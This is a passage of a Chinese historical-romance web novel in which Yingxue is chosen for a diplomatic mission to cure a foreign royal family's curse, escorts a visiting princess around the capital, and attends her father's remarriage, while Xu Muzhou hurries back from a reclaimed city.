许牧舟从获救民女口中知晓，磐安城但凡稍有姿色的民女，皆被赤焰士兵掳至太守府。许牧舟强忍着心中的怒火，安慰民女道：“姑娘放心，赤焰军已被屠尽，磐安城已夺回。”
紧接着，许牧舟安排人手去解救那群被掳的民女。磐安城便由许牧舟暂且接管，他花费了数天时间，才将城中百姓安抚妥当。想到那群遭难民女，眉头忍不住蹙起。随后脑海中不禁浮现出一个身影，暗自思忖着：
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若是那丫头在此处，必定会有更好的办法。
磐安城日益稳定，许牧舟对映雪的思念也在心底愈发浓烈起来。他转头看向身旁的暗卫，问道：“京中这两日可有消息传来？”
暗卫轻轻摇了摇头。
许牧舟皱起眉头，吩咐道：“让老头子赶快派人来接管磐安城，我们回京。”
宫宴结束后，映雪随着永安侯一道离开。
映雪注意到父亲脸上那凝重的神色，于是开口宽慰道：“爹爹，您放宽心吧。暂且不说皇上不会轻易应允使臣的条件，就算当真要我前往凌羽国，我可是代表大乾前去的，皇上必然会派遣人员保护我。”说罢，映雪又用一种轻松的口吻接着说道：“女儿长这么大，还从未出过京城呢。要是能去凌羽国，正好可以出去见识一番，或许还会有不少意想不到的收获呢。”
永安侯听后停下脚步，轻叹一声，忧虑地看着映雪说：“你想得太简单。凌羽国路途遥远，且还可能涉及到赤焰，定是危机四伏，若是有景阳侯世子陪同，为父还能放心，现在这种情况，为父怎能不担心？”
只是，担忧也无济于事，关键还是要看皇上作何决定。
翌日，皇上便召见映雪进宫。此时御书房内，数位大臣皆在，太子与永安侯也位列其中。
映雪行过礼后，就听闻皇上向大臣们询问意见：“凌羽国主让芸香公主前来和亲，这显然是怀有极大的诚意。众爱卿意下如何？哪位皇子适合迎娶？”映雪心中暗自腹诽，皇上可真敢想啊。
紧接着便听到太子不紧不慢地说道：“父皇，儿臣以为这芸香公主前来和亲之事不妥。据使臣所言，凌羽国皇室遭受诅咒，近一年来出生的婴儿皆有缺陷。倘若芸香公主嫁入我大乾皇室，将诅咒也一并带入，那后果实在是不堪设想。”
诸位大臣听了太子的话，纷纷附和道：“太子所言极是。”
皇上于是将目光投向映雪，神色严肃地问道：“慧敏郡主，对于凌羽皇室诅咒一事，你有何见解？”
映雪欠了欠身，恭敬地回答：“臣女未曾亲眼目睹，不敢妄下论断，只是斗胆猜测一二，也许此事与太子上次中毒的情况相同。”
皇上脸上泛起薄怒之色，说道：“果真是狼子野心，昭然若揭，必定是赤焰所为。”说完之后，皇上又问道：“那芸香公主前来和亲是否会影响子嗣呢？”
映雪略作思索，然后回答道：“需得检查芸香公主的身体，查看她身体是否有异。”
皇上又追问道，“若是凌羽皇室诅咒真与天石有关，你有多大把握可解？朕欲派你出使凌羽，你可愿意？”
映雪谨慎答道，“若真是那天石引起，需要看中毒之人的中毒深浅程度。若中毒尚浅，臣女或许有七八成把握。若陛下需要臣女出使凌羽，臣女定当竭尽所能，不负陛下所托。”
皇上闻言，开怀大笑，道：“若慧敏郡主能解凌羽皇室诅咒，凌羽必感恩大乾。往后，凌羽欠大乾人情。大乾与赤焰作战时，便可让凌羽提供军饷。如此，既能削弱赤焰，又能让凌羽表忠心，还能扬大乾国威。”
82. 陪同
映雪出使凌羽之事基本已确定，至于给映雪安排何种名号以及确定随行人员名单，朝中尚需商讨。
不过，此事也并不急迫。既然皇上已决定不接受芸香公主和亲，便让芸香公主在京城多游玩些时日，同时还安排了三皇子、映雪以及豫亲王世子、嘉柔郡主陪同。
映雪从御书房出来后，正准备出宫，忽然听到身后传来一道熟悉的呼喊声：“慧敏郡主，请留步。”映雪回头一看，原来是太子身边的允公公。允公公向映雪行礼道：“慧敏郡主，太子让您去一趟东宫，他有话要交待。”映雪微微颔首。
允公公直接将映雪带到了东宫花园的凉亭。映雪刚坐下，便有几个宫女托着精致的食盘和茶水，一一摆放整齐。允公公满含歉意地说道：“太子还在御书房，麻烦郡主多等一会儿。”映雪点头道：“无碍，允公公您自去忙吧。”
允公公福身道：“郡主若有事情，随时遣宫女来找老奴，老奴先行告退。”
映雪闲来无事，一边吃着糕点，一边欣赏着东宫的美景。上次除夕，映雪来东宫替太子诊脉，当时情况紧急，并未好好观赏东宫的景致。此时抬眼望去，只见一片姹紫嫣红。不远处的假山上，绿植繁茂，似乎有涓涓细流从石间缓缓淌下。
刚把一块糕点咽下，映雪便看到脚边滚过来一个精致的小皮球。
抬眼望去，一个精致可爱的小女孩映入眼帘，而太子妃就跟在小女孩身后。映雪起身，微微欠身，向太子妃行礼。太子妃连忙亲手扶起映雪，说道：“慧敏郡主不必多礼，本宫没有打扰到你吧？”映雪笑道：“臣女正觉得无聊呢。”说罢，还伸手摸了摸那个正一脸好奇地看着她的小郡主的头。
小郡主眨着亮晶晶的大眼睛说道：“这位姨姨，我以前没见过你呢。”
映雪轻笑道：“姨姨也没见过你呢，很高兴认识你哦。”接着，映雪从荷包里取出一颗碧海鲛珠，递给小郡主，说道：“这是姨姨送给你的见面礼，你拿去玩吧。”小郡主接过鲛珠，惊奇地说道：“这珠子摸起来好舒服，咦，里面好像还在动呢！”太子妃温柔地对小郡主吩咐道：“珠儿，姨姨送你礼物，你应该对姨姨说什么呀？”小郡主转头对映雪笑道：“珠儿谢谢姨姨！”映雪笑道：“珠儿不用谢哦！”接着，映雪转头对太子妃说道：“这颗鲛珠臣女是用灵药浸泡过的，太子妃回头可以让匠人在鲛珠上穿个洞，让郡主戴在脖子上，这样可以使郡主百毒不侵。”
太子妃闻言，感动至极，说道：“慧敏郡主，你可真是我东宫的大恩人。先前你妙手回春，救了太子殿下，如今又对珠儿这般上心，本宫心中的感激之情实在难以言表，真不知道该如何感谢你才好。郡主的大恩大德，本宫定会铭记于心。”映雪欠身行礼，柔声说道：“太子妃言重了。这是因为太子殿下福泽深厚。而且郡主这般可爱，臣女一见到就心生欢喜，这鲛珠能够护得郡主安康，也是臣女的荣幸，太子妃不必挂怀。”
随后，太子妃陪着映雪在凉亭中交谈起来。太子妃温柔贤惠，映雪聪慧灵动，两人一见如故。太子妃见映雪是个聪明人，便微微倾身，拉起映雪的手，说道：“妹妹和太子是师兄妹，也不算外人，有些话我就直接问妹妹了。”映雪微微点头，笑道：“太子妃但说无妨。”
太子妃叹了口气，眼眶随即微微泛红，抬手用帕子轻轻擦拭眼角，说道：“是我无能，这些年没能为太子生下个皇子，虽然太子对此并不在意，但我也知道太子在朝廷上面临的压力不小。”顿了顿，接着又说道：“我想问问妹妹，我还能不能为太子生个皇子呢？”映雪闻言，很理解太子妃的处境，柔声道：“等太子这段时间把身体调养好，我再为太子和太子妃调制一些药，你们一起服用，太子妃定能心想事成。”
太子妃激动得险些落泪，说道：“真的吗？”映雪微微点头。太子妃欢喜不已，拉着映雪的手，连忙说道：“那就拜托妹妹了，妹妹如果需要什么药材，尽管提出来。”
话音刚落，耳边便传来太子的轻笑声：“孤的太子妃和慧敏郡主在聊什么呢？这么激动？”
太子妃收敛了情绪，转身对太子说道：“太子，慧敏郡主送了一颗可以防百毒的鲛珠给珠儿，臣妾很高兴，正在向慧敏郡主道谢呢。”
太子看了一眼映雪，低头把小郡主抱了起来，笑道：“她的好东西可不少呢，珠儿要是喜欢什么，尽管讨要，她是父王的师妹，不是外人。”
小郡主甜甜地说道：“珠儿喜欢姨姨。”
太子闻言，放声大笑，说道：“这可不行，她是逸澜叔叔的，你要是抢了逸澜叔叔的人，逸澜叔叔可是会揍你屁股的。”
小郡主撇嘴道：“叔叔坏。”这一番话逗得大家直笑，气氛也轻松了下来。
太子妃向太子福身道：“臣妾就不打扰太子和慧敏郡主谈事了，先带珠儿回去了。”
太子点点头。顺便朝映雪摆了摆手，说道：“坐吧。”
映雪坐下后，太子给自己倒了杯茶水，温和地问道：“你对去凌羽有什么想法？”
映雪皱起眉头，诧异地说道：“不是已经确定下来了吗？难道可以不去？”
太子手中的动作停顿了一下，轻笑道：“很失望？真是初生牛犊不怕虎啊。”
映雪缓缓说道：“食君之禄，担君之忧。如果凭借我的医术就能给大乾带来利益，那何乐而不为呢。”
太子调侃道：“你倒是挺忠义的，行了，既然你已经做好了准备，孤就不阻拦了。”紧接着又说道：“想来景阳侯府会派人保护你，孤到时候给你安排一位嬷嬷，照顾你的起居。”
映雪闻言，惊喜地说道：“多谢太子。”随即提出告辞，说道：“那臣女先行告退了。”
太子颔首，又提醒道：“既然成了孤的小师妹，那就要勤加修习，莫要懈怠，出发前记得去一趟书院。”
映雪点头道：“知道了。”说罢，向太子福身，然后转身离开。
太子望着映雪的背影，暗自思忖：“希望逸澜回来别怪他没有阻止，她可不是一般的闺阁女子。”
老夫人得知映雪要出使凌羽的消息，担忧不
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已，红着眼道，“祖母知道你能耐，受皇上器重，祖母也为你骄傲，但凌羽遥远，祖母实在是无法安心，非去不可吗？”
映雪宽慰道，“祖母，这涉及到两国邦交，父亲都没办法阻止，皇上会派军队随行的，且景阳侯府也会派人保护，太子今日也跟我说了，会送一名嬷嬷照顾我起居，不会有事的。”
老夫人闻言，也无可奈何，只得道，“到时让你父亲也派一些护卫随行，皇上派的人未必会听从你。”接着又伤心道，“若是去凌羽，你的及笄礼就要在外面过了，这可是女子一生中最重要的日子，身边一个亲人都没有。”
映雪忽然灵光一闪，道，“祖母，要不让大哥陪我去吧，就当是让大哥游学，还能长长见识。”
老夫人愣了一下，皱眉道，“我跟你父亲商量一下。”
映雪点头，道，“祖母，那我先回去了，明日还要陪芸香公主在京城游玩，我计划下行程。”
老夫人心疼，摆手道，“回去吧，明早不用过来请安，多睡一会儿。”
映雪应道，“多谢祖母。”
翌日，映雪早早地便起身，梳妆打扮一番，身着一袭淡蓝色的齐胸襦裙，那裙身之上用银线绣着精致的云纹图案，随着她的走动，云纹仿佛在轻轻飘动。头发被高高挽起，梳成灵蛇髻，发髻之上插着一支簪头上镶嵌着浅蓝宝石的玉簪。
既有着大家闺秀的端庄，又不失灵动之气，在人群之中，一眼夺目。
芸香公主一袭浅紫色纱裙，配同款颜色面巾，更显魅惑，令人忍不住想瞧一瞧面巾下的绝色容颜。
芸香公主望着映雪，嫣然一笑道：“慧敏郡主这一身装扮，倒是和凌羽国的贵女有几分相似呢。”
映雪浅笑盈盈地回答道：“那我也算是稍稍慰藉一下公主的思乡之苦了。”
正说着，就见身着鹅黄色罗裙，上面绣着凤凰图案的嘉柔郡主和一身天蓝色锦袍的豫亲王世子走了过来。
嘉柔郡主一脸欢喜地朝映雪喊道：“映雪姐姐，你来得好早呀！”
映雪轻轻笑道：“我也才刚到呢。”同时，礼貌地朝豫亲王世子打了声招呼。
芸香公主看到嘉柔郡主的装扮，朝映雪和嘉柔感动道，“两位郡主真是有心了。”
嘉柔郡主和映雪相视一笑，而后嘉柔郡主对芸香公主说道：“公主太客气了。”
接着，嘉柔郡主向四周张望了一番，微微皱起眉头说道：“三皇子还没有来呢，要不我们先去玩吧？”
说完，映雪便望向了豫亲王世子，让他来做决定。
豫亲王世子轻声一笑，扭头对芸香公主温柔地问道：“公主可有想去的地方？”
芸香公主顿时兴奋起来，说道：“我听说两位郡主开的凝香居极为特别，我很想去凝香居逛逛。”
嘉揉捂着嘴笑道：“公主真有眼光呢，不是我自夸，凝香居定然不会让公主失望的。”
说罢，四人带着丫鬟和随从便朝门外走去。刚走出行宫，就见三皇子身着锦衣华服，骑马而来。
83. 牵扯
三皇子翻身下马，朝芸香公主拱手道：“让公主久等了。”
芸香公主微微欠身，说道：“劳烦三皇子了。”
映雪、嘉柔以及豫亲王世子纷纷向三皇子行礼，三皇子只朝豫亲王世子微微点头示意，对映雪和嘉柔郡主则视而不见。
嘉柔撇了撇嘴，拉着映雪在后面小声嘟囔道：“瞧他那高傲的模样，谁稀罕他。”
映雪眼神示意嘉柔注意场合。
紧接着，便听三皇子向豫亲王世子问道：“你们这是要带公主去哪儿？”
豫亲王世子温和地笑着回答：“芸香公主对慧敏郡主的凝香居很感兴趣，我们正打算前往。”
三皇子皱起眉头，说道：“那不过是女人买脂粉的地方，有什么可逛的？”说罢，他扭头对芸香公主道：“若公主想游玩，那京城东郊的星湖就很不错，湖面波光粼粼，周围垂柳依依，此时乘船赏景正合适。还有西街的百味阁，汇聚了天下美食，酸甜苦辣应有尽有。再有那闻名遐迩的观星台，可登高望远，将京城全貌尽收眼底。”
还没等芸香公主回应，嘉柔郡主便忍不住呛声道：“芸香公主对女人的脂粉感兴趣，这不是很正常的吗？何况凝香居可不只是卖女人脂粉的地方，也有男人用的东西呢。”说罢，她还上下打量了三皇子一番，心中暗想：“想来那凝神静气的香丸正适合三皇子，省得他看谁都不顺眼。”
话音刚落，就被豫亲王世子呵斥道：“嘉柔，不得无礼。”嘉柔哼了一声。
芸香公主柔声笑道：“多谢三皇子的好意，我想先去凝香居，然后再去三皇子说的那几个地方游玩，这样一来，此次来大乾也算是没有遗憾了。”
三皇子听了这话，脸色才稍微缓和了一些，对芸香公主扯了扯嘴角，笑道：“既然公主想去，那就去吧，不过凝香居人多嘈杂，公主若是觉得不适，随时可以去那几个地方散散心。”
映雪提议道：“要不就让豫亲王世子陪着三皇子在对面的茶楼等候吧，我和嘉柔陪着公主逛逛。”
豫亲王世子点了点头，朝三皇子问道：“殿下觉得如何？”三皇子微微点头表示同意。
到了凝香居，芸香公主看着眼前琳琅满目、玲珑剔透的各种香丸，一时间应接不暇。那些美容养颜的香丸适合自己和母妃，凝神静气的适合父皇，有助于安眠的可以送给母后，此外还有提神醒脑、缓解咳嗽、乌发、明目、瘦身等功效的香丸，种类繁多，应有尽有。还有香水，其香味纯净而悠长，和她平日里用鲜花研制的完全不同。不愧是财大气粗的凌羽公主，直接豪气地对掌柜说道：“这店里所有的香丸和香水，我全要了，麻烦帮我打包直接送到行宫。”
掌柜听了，顿时心花怒放，连忙拱手道：“公主真是豪爽！小的这就亲自安排伙计仔细打包，送到行宫。凝香居的所有货物都是慧敏郡主精心研制的，独一无二，公主真是好眼光。”
映雪在一旁觉得有些尴尬，嘉柔却显得有些得意。芸香公主的目光在映雪和嘉柔的脸上一一扫过，问道：“慧敏郡主和嘉柔郡主那如婴儿般光滑的肌肤，是不是也得益于这些养颜丸呢？”
嘉柔兴奋地说道：“那是自然，我以前的皮肤可没有现在这么光滑，不过映雪姐姐可是天生丽质。”
芸香公主听了，羡慕地说道：“可惜这凝香居只有大乾才有。”
映雪含笑不语。
从凝香居出来，几人陪着芸香公主在街上闲逛。新年刚过，街上还是一片热闹的景象。
不远处的空地上，正在表演喷火杂技，周围围满了人。
嘉柔兴奋地拽着映雪的袖子说道：“我们过去看看吧？”映雪朝着对面的人群望去，似乎看到了苏沁雪的背影，心中不由得有些疑惑，正想仔细瞧清楚，嘉柔突然在她耳边喊道：“映雪姐姐，那是不是你的那个妹妹？”苏沁雪刚好露出侧脸。
映雪点了点头，微微皱起秀眉，心里暗自思忖，自从大夫人出事，苏沁雪就鲜少出府了。
几人朝着人群走去，映雪一直留意着苏沁雪，恰好看到有贼人正用刀片割苏沁雪的荷包，而苏沁雪却全然没有察觉。
映雪正想出声提醒，忽然一道身影从身后闪过，紧接着，前方传来男子的痛骂声。
三皇子脸色阴沉，一脚将那贼子踹飞，贼子正好砸向正在表演的杂耍艺人，火盆中的火球四处飞溅，其中一个火球朝着三皇子飞了过来，眼看就要砸中，苏沁雪惊慌之下，立即用身体挡了过去，火球刚好砸中苏沁雪的胸口，苏沁雪直接晕了过去，正好倒进了三皇子的怀里。
苏沁雪的丫鬟吓得尖叫起来，大声喊道：“姑娘！”
映雪一行人赶到，三皇子对映雪说道：“还愣在那儿干什么？赶紧看看你妹妹怎么样了？”
映雪上前一步，替苏沁雪把了把脉，沉声道：“没碍，思虑过重，刚才又受了惊吓，所以才晕了过去。”
那火球是杂技表演中用到的道具，是裹着一层燃料的泥球，幸好上面没有火，不然苏沁雪的衣服肯定会被烧着。
三皇子用怀疑的眼神看着映雪，映雪有些气恼地说道：“三皇子要是不信，可以叫太医过来查看。”
接着映雪又疑惑地问道：“三皇子什么时候和臣女的妹妹这般熟悉了？”
三皇子皱起眉头，没有说话，直接朝豫亲王世子吩咐道：“你好好陪着公主，我先送苏四姑娘回府。”说罢，就把苏沁雪抱了起来。
嘉柔撇了撇嘴说道：“你这妹妹还真有两下子，竟然能让三皇子另眼相看。”
映雪心中也充满了疑问。
映雪心里藏着事，陪着芸香公主也有些心不在焉，等芸香公主回了行宫，映雪拒绝了豫亲王世子的相送，直接带竹清回了侯府。
在荣晖堂中，老夫人正和二夫人商量着事情。见映雪走了过来，老夫人立刻朝她招手，说道：“你父亲的亲事已经定下来了，你过来帮忙挑个成亲的日子吧。”
映雪皱着眉头，疑惑道：“怎么这么快？”
二夫人笑着解释说：“老太太这也是为了你，担心你去了
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凌羽，一时半会儿回不来，错过你父亲的喜事呢。”
映雪点了点头，又朝老夫人问道：“祖母，上午是不是三皇子送四妹妹回府了？四妹妹现在怎么样了？”
老夫人闻言，面露忧虑之色，说道：“也不知道她是什么时候和三皇子搭上关系的，咱们永安侯府可不能再和三皇子扯上关系了。”
映雪沉默了片刻，沉声说道：“兴许是元宵节那次，不过也许是我多心了，我总觉得那次碰到三皇子，太过于巧合了。”
二夫人笑着说道：“如果三皇子是刻意想要攀附咱们永安侯府的关系，那咱们把四丫头看紧一些，三皇子也就没办法了，除非他能让皇上直接下旨赐婚。”
老夫人听了这话，心里的担忧去掉了大半，皇上是不可能把四丫头赐婚给三皇子。
随即，老夫人对二夫人吩咐道：“最近把府里的丫鬟婆子都看紧了，可不能出什么乱子。”二夫人笑着应承了下来。
第二天，齐贵妃赏赐了药材和其他物品下来。苏沁雪行礼道谢，传旨的公公客气地对苏沁雪笑着说：“苏四姑娘，贵妃娘娘让我传话，等您身子好了，请您到锦澜宫去玩。”
苏沁雪福了福身，说道：“沁雪多谢贵妃娘娘抬爱。”
等公公走后，苏沁雪正要回落雪院，有个丫鬟走上前来禀告道：“四姑娘，老夫人让您过去一趟。”
苏沁雪的睫毛微微颤动了一下，随即转身朝着荣晖堂走去。
苏沁雪规规矩矩地向老夫人行了礼，老夫人温柔地说道：“最近看你性子越来越沉稳了，祖母很欣慰。不过，三皇子可不是良配，你可千万不要误了自己。”最后一句话，老夫人的语气稍微重了一些。
苏沁雪乖巧地点了点头，说道：“沁雪明白。”
老夫人见苏沁雪听进了劝告，这才微微松了口气，说道：“过几日新夫人进门，你这几日就留在府里，亲手给新夫人绣一份礼物吧。”
苏沁雪点了点头，笑着说道：“多谢祖母提点。”
望着苏沁雪离去的背影，老夫人对身边的秦嬷嬷忧虑地说道：“希望她是真的懂事了，没有因为她母亲的事而记恨侯府，我实在不想看到侯府再失去一个孙女。”
秦嬷嬷宽慰道：“四姑娘应该没有那么深的心思。”
老夫人不由想起那次苏敏皓出事，苏沁雪把自己关在屋子里整整一天，滴水未进，她叹了口气，心中气恨都是大夫人造的孽。
秦嬷嬷见老夫人沉默不语，又劝说道：“等新夫人进了门，再给侯爷添个少爷，府里就又会热闹起来了。”
老夫人听了这话，顿时眉开眼笑，说道：“皓哥儿的亲事也可以考虑了，上次映雪提起的清平县主，到时候请媒人去康郡王府探探口风，要是这门亲事能成，我也能多活几年。”
秦嬷嬷连忙应道，“大少爷与清平县主门当户对，郎才女貌，清平县主与咱们三姑娘又要好，咱们侯府要是上门提亲也会比旁的府邸多二成把握呢！”
老夫人高兴地点了点头。
84. 续弦
苏沁雪回到落雪院，丫鬟柳儿兴奋地迎上来奉承道：“姑娘，贵妃娘娘可是把您放在心上呢，还赏赐了一匹精致的苏绣锦缎。那锦缎色彩鲜艳且质地柔软，上面绣着栩栩如生的蝴蝶，用来做件衣裳，定会极美。
苏沁雪却冷着脸道：“都收起来吧。”接着又吩咐道，“把针绣篓子拿来。”
柳儿没料到姑娘会突然变了脸色，神情怯怯地将赏赐收了起来。
苏沁雪余光扫了一眼那赏赐，眼中闪过一丝寒光，随后便专心致志地绣起屏风来。
映雪出使凌羽的日期已经确定，就在永安侯续弦的三日后。这几日映雪忙着和亲友道别，除了要去凌云书院，还要去景阳侯府一趟。
映月阁中，嘉柔和清平得知映雪出发去凌羽的日子后，结伴前来看望她。
映雪满含歉意地对两人说道：“我不在京城的这段日子，凝香居和慈善堂就拜托你们了。”
清平轻笑一声道：“凝香居和慈善堂一切都好，没什么需要操心的。你可要多多保重自己，凌羽路途遥远，这一路上或许要吃不少苦头。”
嘉柔一边吃着糕点，一边感慨道：“我都不知道是羡慕多一点，还是心疼你多一些了。看来，太优秀了也不行，总是会被别人惦记着。”
话音刚落，清平便嗔怪道：“别瞎说，映雪这可是功在千秋的大事，说不定还能名留青史呢，这是好事。”
嘉柔眼珠一转，对映雪说道：“映雪姐姐，要不我和你一起去吧，正好我也有机会出京游玩一番。”
映雪怀疑地说道：“王妃能放心让你去？而且这一路要走上几个月，天天都在马车上，你能受得了？”
嘉柔哼道：“母妃可喜欢你了，要不是被牧舟哥哥抢了先，母妃都想把你说给大哥呢，要是和你一起，母妃肯定放心。”顿了顿，又接着说道，“至于坐马车嘛，既然你都能受得了，我肯定也行。”说罢，还扭头怂恿清平，兴奋地说道：“清平，你也一起去吧？等以后嫁了人，说不定一辈子都没机会出京了，这次可是个好机会。”
清平闻言，放下手中的茶盏，若有所思，显然也有些心动。
映雪觉得嘉柔的主意不错，附和道：“我还想让我大哥陪我一起去呢，就当是去游学了，不过我祖母还没有答应，要是你们也去的话，说不定祖母就同意了。”
嘉柔眼睛一亮，说道：“我回府后就去找我父王，让父王向皇伯父推荐，让我大哥担任这次出使团的使臣。”
说完，映雪和嘉柔都看向清平，清平皱着眉头说道：“我考虑一下吧，毕竟如果真要一起去的话，至少要大半年，还有很多事情需要安排。”话中的意外之意，竟是也答应了同去。
嘉柔朝映雪叹息道：“可惜牧舟哥哥不在，不然就更有意思了。”
映雪低下头，没有说话，她还没有告诉许牧舟这件事呢，也不知道等他回京后发现她不在京城，会不会气得跳脚。
映雪并不知道，在皇上尚未确定让映雪出使凌羽之时，许牧舟就已经提前得知了凌羽国皇室关于诅咒的消息，而且还猜测到凌羽此番出使大乾是冲着映雪而来。
许牧舟在太守府中来回踱步，对身旁的亲卫吩咐道：“老头子不是说朝廷派来接管磐安城的官员今日就到吗？怎么还没到？你快去城门那儿打听打听。”亲卫拱手退下。
不一会儿，亲卫回来禀报：“少主，刘大人应该是在路上耽搁了，还没有进城。”许牧舟脸色微微一变，沉声道：“派人盯紧城门，一有消息立刻来报。”
刘大人仅带着两个随从，一路紧赶慢赶，终于在城门关闭前的最后一刻进了城。
随从看了看天色，问道：“大人，我们是直接去太守府，还是先找个客栈休息一下？”
刘大人朝城内望了一眼，皱着眉头道：“去客栈吧。”
话音刚落，就有一名侍卫跑了过来，对刘大人说道：“刘大人，我们世子爷正在太守府等您，请您尽快前去。”
刘大人愣了一下，随即点了点头，带着随从径直奔向太守府。
刚进入太守府，就看到许牧舟一行人已经整装待发，刘大人疑惑地问道：“许世子，您这是？”
许牧舟无暇与刘大人寒暄，直接交代道：“刘大人，关于磐安城的相关安排，我已经交代给曹主簿了，您若有不清楚的地方直接问曹主簿就行，我有要事，要先回靖宁城了。”
刘大人听到许牧舟的话，先是一愣，随即拱手说道：“许世子，您放心，下官定不敢辜负您的厚望，定会用心管理磐安城。”
许牧舟微微点头，向刘大人拱手回礼，然后对身边的人说道：“出发。”
顿时，院内响起一阵马蹄声，扬起的灰尘在空气中弥漫开来。
刘大人眯起眼睛，抬手挥了挥眼前的灰尘，望着许牧舟远去的背影，皱起眉头，若有所思，心中暗自揣测许世子为何这般急切。
永安侯续弦这日，婚事竟比永安侯初婚还盛大。
倒不是因为永安侯府更重视这次姻亲，而是永安侯府今非昔比，除了永安侯交好的同僚，侯府的姻亲，萧府，景阳侯府，还有映雪几位师兄，魏府，以及太子妃娘家都纷纷过来祝贺。
映雪暗自怀疑她那些之前不曾见过的师兄们都是为了侯府的酒而来，之前映雪拜师，给师兄们准备的厚礼，除了她亲手调制的药丸和香丸，还有美酒。这次永安侯府宴请，宾客们回贴上还特地提起了侯府的烈酒。
大乾是有禁酒令的，朝中官员名下是不可以有酒水售卖，但若真要售卖，自然也有办法。
酒水利润惊人，永安侯虽也心动过，但因映雪得皇上重用，永安侯府也更爱惜侯府羽毛。
只在府里打造了个小小的酒坊，除了府里自用，便是用于偶尔送礼，一致得到大家的青睐。
屋子里来了好些贵夫人，景阳侯夫人，豫亲王妃，康郡王妃，萧相夫人都来了。
大家一阵闲聊，时间过的飞快。
这不，丫鬟匆匆跑进来禀告道，“老夫人，侯爷的花桥快到了。”
老夫人面露喜色，由秦嬷嬷扶着起身，迈步去宜正阁。
走了几步，还不忘提醒道，“莫忘了老太爷的灵位。”
娶妻少不了拜高堂，就算是老太爷过世，老夫人也想让他亲眼见证儿子娶妻这一刻。
嘉柔郡主坐不住，拉着映雪和清平道
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，“走，我们去看花桥。”
映雪一脸无奈，也跟了上去。
三人在人群中穿梭，挤到大门口观看。
没过一会儿，花桥来了。
李总管赶紧叫小厮吹唢呐，点鞭炮。
嘭嘭嘭的鞭炮声，震得映雪耳朵嗡嗡作响。
吹吹打打，进了正堂，迈火盆，跨马鞍，之后就是拜高堂。
刚拜完高堂，李总管就带着皇上身边的王公公进了正堂。
王公公对永安侯贺喜道，“恭喜侯爷，皇上有赏。”
说罢，两个小太监抬着盖有明黄色丝绸的托盘上前。掀开丝绸，托盘里有一对雕琢精美的羊脂白玉如意；一幅宫廷画师绘制的百子图，图中孩童嬉戏神态各异，寓意多子多福；
永安侯及新夫人跪旨谢安。
喜宴开始，景阳侯夫人喝着杯中石榴酒道，“这酒真不错，难怪永安侯府的美酒受人追捧。”
一旁的豫亲王妃调侃道，“还是你有福气，以后这样的好酒你想喝多少就有多少。”接着又撇了撇嘴说道：“王爷还特地让我给他讨两壶梨花白回去呢，真是想得美。”
萧相夫人说道：“难得永安侯能抵挡住酒水带来的巨大利益的诱惑而不为所动，也难怪能生出慧敏郡主这般聪慧的女儿。”
说罢，众夫人又纷纷向景阳侯夫人道喜，景阳侯夫人眉开眼笑，仿佛已经见到那粉雕玉琢的孙子孙女在眼前嬉笑玩耍的情景。
同时，心里暗衬，等小雪从凌羽回来，就可以准备婚事了。
第二日，新夫人柳氏前来敬茶。映雪在一旁细细地打量着这位继母，一张鹅蛋脸，肌肤细腻，双眸似水，带着温柔与笑意，鼻子小巧而挺拔，气质温婉大气，比大夫人漂亮几倍，气质也远胜大夫人，毕竟是伯府的嫡女，举手投足间都带着一种贵女风范。
老夫人满脸都是满意的笑容，对新夫人极为赞赏。
敬茶完毕后，新夫人开始送上她给侯府众人准备的礼物。映雪的是一支精致的羊脂白玉簪子，那簪头还垂着碎宝石流苏，轻轻晃动，好看极了。给苏沁雪的则是一条琉璃手链，手链上的每颗珠子都大小均匀，晶莹剔透，一看就知道是经过了精心挑选。
新夫人财大气粗，所准备的礼物不但个个精致丰厚，而且都很符合每个人的品性，显然是在礼物上花费了不少心思。
苏沁雪回赠给新夫人的是她亲手绣制的屏风，而映雪送的是养颜丸，毕竟对于女人来说，爱美之心人皆有之。
认完亲之后，老夫人转过头来对映雪说道：“等会儿你跟着你大哥去书院，路上一定要注意安全，早些回来。”映雪听后，微微点头应下。
永安侯已经同意让苏璟皓陪映雪前往凌羽。此次去书院，映雪是要向山长告别，而苏璟皓则需到书院办理请假手续，顺便从夫子那里领取学业任务，毕竟就算人在外面，学业也不能耽误。
此前，苏璟睿见大哥能够陪同三妹妹去凌羽，心中也开始蠢蠢欲动，不过直接被苏二老爷否决了。映雪是因为公事出差，苏璟皓陪同前往，还可以说是侯府不放心映雪独自在外，所以让大哥跟着。但要是两个哥哥都去，那可就不成体统了。
85. 出行
已经是第三次来凌云书院，映雪也算是轻车熟路，竹清抱着映雪的课业在后面跟着。
映雪踏入山长的书房，只见山长正襟危坐于案几之后。案上堆积着古籍典册，山长的目光在映雪踏入的那一刻便温和地投了过来。
映雪恭敬地向山长行礼，山长捋须微笑道，“为师之前交代的功课都完成了吗？”
映雪点头，示意让竹清把功课奉上。
山长认真地检查映雪的功课，一边微笑地点头，显然是对映雪交的功课满意。
映雪踌躇地对山长说道，“师父，我过两日就要出发去凌羽了，这学业恐怕要耽误一段时间了。”
山长合上映雪的功课，抬头含笑对映雪说道，“你可知我为何让你研究历代名流生平？”
映雪沉思片刻，心中有些怀疑，随即诧异地看向山长。
山长笑着点头，道，“你悟性极高，医术也极好，若是埋没，对大乾对后人，都是极大的损失。”紧接着又道，“那些名流能在史记留名，其思想、言行、经历都是财富。你去凌羽，是个好机会，可将所学与所见结合。这一路感悟若融入对名流的理解，日后著书立说时，你也能领悟如何像他们一样在世间留痕，被后人铭记。”
映雪聆听着山长的话语，只觉心中似有惊涛骇浪在翻涌。
她未曾想到，这功课背后，竟藏着如此意义。师父竟对她有如此厚的寄望，映雪顿时心中酸涩。
山长瞧见映雪眼眶通红，险些要落泪的样子，揶揄道，“被外人见了，还以为是为师训斥于你，你这一路去凌羽，功课也免不了，等从凌羽回来，为师还要检查。”
映雪噗嗤一笑，道，“弟子谨记，弟子不在，也请师父多保重身体，身边一定不能离人。”说罢，让竹清把她准备好的调养身体的药丸交给了侍候山长的小厮。
山长点头，又道，“你此番去凌羽，会经过榆城，到时候顺道去拜访一下你二师兄。”
映雪乖巧应下。
刚从山长院子里出来，就见到大哥苏璟皓愁眉苦脸地朝她走过来，映雪快步迎了上去，问道，“怎么了？莫不是夫子不同意？”
苏璟皓摇头，苦闷道，“那倒不是，就是夫子布置了很多任务，回来还要上交检查。”
映雪闻言，心中一松，道，“我们也算是难兄难妹了，山长也给我布置了重大任务。”
说罢，两人无奈，相视一笑。
这时，苏璟皓身后传来李逸风的叫唤声，“璟皓兄。”
苏璟皓转头，几个玩得好的同窗都过来了，皱眉道，“你们怎么都过来了？”
